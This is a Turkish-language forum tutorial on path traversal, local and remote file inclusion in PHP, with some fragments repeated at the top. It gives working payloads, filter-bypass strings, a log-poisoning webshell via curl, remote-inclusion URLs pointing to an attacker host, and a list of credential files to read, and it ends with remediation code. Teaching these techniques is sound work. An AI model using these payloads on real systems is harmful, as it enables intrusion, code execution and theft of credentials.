Conrado Sol
- 29 Nis 2026
- 91 Mesaj
Aktiflik
Seviye
Deneyim
Bugün sizlerle Path Traversal konusunu inceleyeceğiz.
Sunucu tarafında dosya yollarının ve dinamik dahil etme fonksiyonlarının denetlenmemesi sonucu ortaya çıkan erişim ve kod yürütme zafiyetleri.
Sonuç: Hedef dosya sunucu tarafından çalıştırılmaz; yalnızca düz metin olarak okunur veya indirilir (Kaynak kodlar, konfigürasyon dosyaları, sistem listeleri).
Sonuç: Hedef dosyanın uzantısı ne olursa olsun (.txt, .log, .jpg) içindeki scr*pt blokları sunucuda yürütülür ve Uzaktan Kod Çalıştırma (RCE) sağlar.
2) LFI parametresiyle log dosyasını çağır: ?file=/var/log/apache2/access.log&cmd=id
# veya
php://input (POST Body: <?php system('id'); ?>)
Log Poisoning → RCE Örnek Akış:
1. Adım: User-Agent başlığı ile loga PHP kodu yaz (curl): curl -H "User-Agent: <?php system($_GET['cmd']); ?>" http://target.com/
2. Adım: Log dosyasını LFI ile include edip komut çalıştır:curl "http://target.com/index.php?file=/var/log/apache2/access.log&cmd=whoami"
RFI PoC: http://target.com/index.php?file=http://10.10.145.212:8000/cmd.txt
Flag/Veri Okuma: curl ile POST istekleri veya null-byte/double-encode varyasyonları denenerek kısıtlı alanlar okunabilir.
$allowed_files = ['home.php', 'about.php', 'contact.php'];
if (!in_array($_GET['page'], $allowed_files, true)) { die('Geçersiz sayfa'); }
2. Dizin Yolu Doğrulaması (Path Normalization): Dosya yolu okunmadan önce çözümlenmeli ve hedeflenen kök dizinin dışına çıkmadığı doğrulanmalıdır:
$path = realpath($base_dir . '/' . $_GET['file']);
if ($path === false || strpos($path, $base_dir) !== 0) { die('Erişim reddedildi'); }
3. PHP Güvenlik Yönergeleri: Sunucu yapılandırmasında harici dosya dahil etme özellikleri kapatılmalıdır:
allow_url_fopen = Off
allow_url_include = Off
4. En Az Yetki Prensibi: Web sunucusu kullanıcısının (örn: www-data) işletim sistemindeki dosya okuma izinleri sıkılaştırılmalı; sistem loglarına ve yapılandırma dizinlerine okuma erişimi kısıtlanmalıdır.
Sunucu tarafında dosya yollarının ve dinamik dahil etme fonksiyonlarının denetlenmemesi sonucu ortaya çıkan erişim ve kod yürütme zafiyetleri.
1. Temel Mantık: Path Traversal vs. LFI
Uygulama, file gibi bir parametreyi sunucu tarafında dosya okumak veya dahil etmek (include/require) için kullanıyorsa kontrolsüz girdi bu iki farklı zafiyete yol açar:Path Traversal (Dizin Gezinimi)
Uygulama parametreyi doğrudan dosya sistemi okuma fonksiyonlarına iletir. ../ karakterleri ile web kök dizini (web root) dışına çıkılır.Sonuç: Hedef dosya sunucu tarafından çalıştırılmaz; yalnızca düz metin olarak okunur veya indirilir (Kaynak kodlar, konfigürasyon dosyaları, sistem listeleri).
Local File Inclusion (LFI)
Uygulama hedef dosyayı yalnızca okumakla kalmaz; programlama dili çalışma zamanına dahil ederek kod olarak derler ve çalıştırır.Sonuç: Hedef dosyanın uzantısı ne olursa olsun (.txt, .log, .jpg) içindeki scr*pt blokları sunucuda yürütülür ve Uzaktan Kod Çalıştırma (RCE) sağlar.
2. LFI - Hızlı Tespit & PoC Akışı
- Hızlı Tespit: ?file=userCV.pdf → ?file=../../../../etc/passwd şeklinde üst dizinlere çıkarak dene.
- PoC İstek: GET /get.php?file=../../../../etc/passwd → root:x:0:0... satırları dönüyorsa LFI/Traversal doğrulanmıştır.
- Log Poisoning ile RCE:Web sunucusu erişim/hata loglarına payload yazıp LFI ile include ederek kod çalıştır:
2) LFI parametresiyle log dosyasını çağır: ?file=/var/log/apache2/access.log&cmd=id
3. RFI - Hızlı Tespit & Koşullar
- Tespit: ?file=http://attacker.com/sh*ll.txt → Sunucu uzaktaki dosyayı include edip çalıştırıyor mu kontrol et.
- Gereksinim: PHP için allow_url_include = On yapılandırmasının açık olması gerekir (Modern sürümlerde varsayılan kapalıdır; kapalıysa RFI çalışmaz, LFI denenmelidir).
4. Path Traversal & Bypass Teknikleri
- Basit Traversal: ../../../../etc/passwd veya doğrudan kök dizin: /etc/passwd
- Encoding: ..%2f..%2f..%2fetc/passwd veya double-encode: ..%252f..%252f..%252fetc/passwd
- Filtre Silme Baypası (Non-recursive strip): ....//....//etc/passwd (Sunucu ../ sildiğinde aradaki karakterler tekrar ../ oluşturur).
- Null Byte (Eski PHP sürümlerinde): ../../../../etc/passwd%00
- Null Byte + Uzantı Filtresi Bypass:/image?filename=../../../../etc/passwd%00.jpg
- .jpg kısmı: Uygulama "sadece .jpg dosyalarını aç" filtresi uyguluyorsa, sona .jpg eklenerek kontrol atlatılır.
- %00 (Null Byte) kısmı: Dize sonu (string terminator) karakteridir. Sunucu dosya sistemine giderken %00'ı gördüğü yerde okumayı bitirir; .jpg kısmı yok sayılır ve /etc/passwd okunur.
- Path Truncation: ../../etc/passwd/./././... (4096 baytı aşan yollarda dosya sistemi yolu keserek uzantıyı göz ardı eder).
5. Önemli PHP Wrapper & Sömürü Teknikleri
- Kaynak Kod Okuma (php://filter)
HP dosyaları normal include edildiğinde çalıştırılır, kodları görünmez. Base64 formatında okumak için: php://filter/convert.base64-encode/resource=index.php
- Doğrudan Kod Yürütme (data:// ve php://input):allow_url_include açıksa harici dosya gerekmeden POST gövdesinden kod çalıştırma:
# veya
php://input (POST Body: <?php system('id'); ?>)
- Session Poisoning:Oturum çerezi veya profil verisi içine PHP kodu yazıp session dosyasını LFI ile çağırma:
- ?file=/var/lib/php/sessions/sess_[SESSION_ID]&cmd=id
- File Upload Noktaları: Profil resmi gibi zararsız görünen bir upload alanına PHP kodu gömüp, ardından bu dosyanın kaydedildiği yolu LFI ile include ederek çalıştırma.
6. Kritik Dosyalar Referans Listesi
Linux Hedefleri
- /etc/passwd (Kullanıcı listesi)
- /etc/shadow (Parola hash'leri - root yetkisi gerekir)
- /etc/hosts & /proc/net/arp (İç ağ haritası)
- /proc/self/environ (Ortam değişkenleri)
- /root/.ssh/id_rsa (SSH private key)
- /root/.bash_history (Komut geçmişi)
- /var/log/apache2/access.log (Apache erişim logları)
- /var/log/nginx/access.log (Nginx logları)
Windows Hedefleri
- C:\Windows\win.ini (Temel doğrulama dosyası)
- C:\boot.ini (Önyükleme yapılandırması)
- C:\Windows\System32\drivers\etc\hosts (Host kayıtları)
- C:\inetpub\logs\LogFiles\ (IIS logları)
- C:\xampp\apache\logs\access.log (XAMPP logları)
7. PoC Örnekleri (Komut Satırı & İstekler)
Basit LFI: GET /get.php?file=../../../../etc/passwdLog Poisoning → RCE Örnek Akış:
1. Adım: User-Agent başlığı ile loga PHP kodu yaz (curl): curl -H "User-Agent: <?php system($_GET['cmd']); ?>" http://target.com/
2. Adım: Log dosyasını LFI ile include edip komut çalıştır:curl "http://target.com/index.php?file=/var/log/apache2/access.log&cmd=whoami"
RFI PoC: http://target.com/index.php?file=http://10.10.145.212:8000/cmd.txt
Flag/Veri Okuma: curl ile POST istekleri veya null-byte/double-encode varyasyonları denenerek kısıtlı alanlar okunabilir.
8. Savunma ve Doğru Yapılandırma (Remediation)
1. Beyaz Liste (Allowlist) Doğrulaması: Kullanıcıdan dosya adı almak yerine yalnızca önceden tanımlanmış sabit bir liste (indeks eşlemesi) üzerinden dosya çağrılmalıdır:$allowed_files = ['home.php', 'about.php', 'contact.php'];
if (!in_array($_GET['page'], $allowed_files, true)) { die('Geçersiz sayfa'); }
2. Dizin Yolu Doğrulaması (Path Normalization): Dosya yolu okunmadan önce çözümlenmeli ve hedeflenen kök dizinin dışına çıkmadığı doğrulanmalıdır:
$path = realpath($base_dir . '/' . $_GET['file']);
if ($path === false || strpos($path, $base_dir) !== 0) { die('Erişim reddedildi'); }
3. PHP Güvenlik Yönergeleri: Sunucu yapılandırmasında harici dosya dahil etme özellikleri kapatılmalıdır:
allow_url_fopen = Off
allow_url_include = Off
4. En Az Yetki Prensibi: Web sunucusu kullanıcısının (örn: www-data) işletim sistemindeki dosya okuma izinleri sıkılaştırılmalı; sistem loglarına ve yapılandırma dizinlerine okuma erişimi kısıtlanmalıdır.
